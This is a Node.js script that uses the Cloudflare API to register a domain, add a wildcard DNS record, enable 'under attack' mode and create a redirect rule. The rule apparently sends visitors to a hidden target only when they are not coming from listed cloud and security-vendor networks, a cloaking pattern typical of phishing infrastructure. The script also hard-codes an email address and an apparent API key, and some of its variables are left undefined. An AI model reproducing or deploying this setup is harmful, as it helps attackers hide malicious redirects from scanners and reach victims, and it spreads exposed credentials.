const fetch = require('node-fetch'); const email = 'kimberlywoodrich@outlook.com'; const apiKey = 'be9a650506d46aad0c963b76bdfc788ff20aa'; async function main() { try { const domain = cardinaldomin; const zoneId = await addDomainAndGetZoneId(domain); console.log('Domain added. Zone ID:', zoneId+' domainname: '+domain); await addWildcardARecord(zoneId); console.log('wild-king1111.'); await addRedirectRule(zoneId); console.log('Redirected TO', cardinalredirect); await setUnderAttackMode(zoneId); console.log('defence switched on.'); console.log('UpdateD NAMEserver', await getAssignedNS(zoneId)); } catch (error) { console.error('An error occurred:', error.message); } } async function cloudflareRequest(endpoint, method, body) { const url = `https://api.cloudflare.com/client/v4/${endpoint}`; const options = { method: method, headers: { 'X-Auth-Key': apiKey, 'X-Auth-Email': email, 'Content-Type': 'application/json' } }; if (body) { options.body = JSON.stringify(body); } const response = await fetch(url, options); const data = await response.json(); if (!data.success) { throw new Error(`Error with ${method} request to ${endpoint}: ${data.errors.map(e => e.message).join(', ')}`); } return data; } async function addDomainAndGetZoneId(domain) { const body = { name: domain, jump_start: true }; const data = await cloudflareRequest('zones', 'POST', body); return data.result.id; } async function setUnderAttackMode(zoneId) { const endpoint = `zones/${zoneId}/settings/security_level`; const body = { value: 'under_attack' }; await cloudflareRequest(endpoint, 'PATCH', body); } async function addWildcardARecord(zoneId) { const endpoint = `zones/${zoneId}/dns_records`; const body = { type: 'A', name: '*', content: '80.67.87.10', ttl: 120, proxied: true }; await cloudflareRequest(endpoint, 'POST', body); } async function addRedirectRule(zoneId) { const endpoint = `zones/${zoneId}/rulesets`; const body = { "name": 'Redirect rules ruleset', "kind": 'zone', "phase": 'http_request_dynamic_redirect', "rules": [ { "expression": "(http.request.uri.path contains \"v2\" and not ip.geoip.asnum in {8075 36692 206092 54538 209 12695 16509 262287 395954 395954 137409 9009 14061 54538 3257 46261 394474 396982 59854 36352 136787 202425 14618 32181 12695 206092 262287 60068 51167 174 30633 201011 62041 3356 8070 25764 24961 396362 7203})", "description": "MINE.", "action": "redirect", "action_parameters": { "from_value": { "target_url": { "value": cardinalredirect }, "status_code": 307, "preserve_query_string": true } } } ] }; try { const response = await cloudflareRequest(endpoint, 'POST', body); if (!response.success && response.errors) { // Handle validation error const errorMessage = response.errors.map(e => e.message).join(', '); throw new Error(`Error adding redirect rule: ${errorMessage}`); } console.log('Redirect well.'); } catch (error) { console.error('Error adding redirect rule:', error.message); } } async function getAssignedNS(zoneId) { const endpoint = `zones/${zoneId}`; const response = await cloudflareRequest(endpoint, 'GET', null); return response.result.name_servers; } main();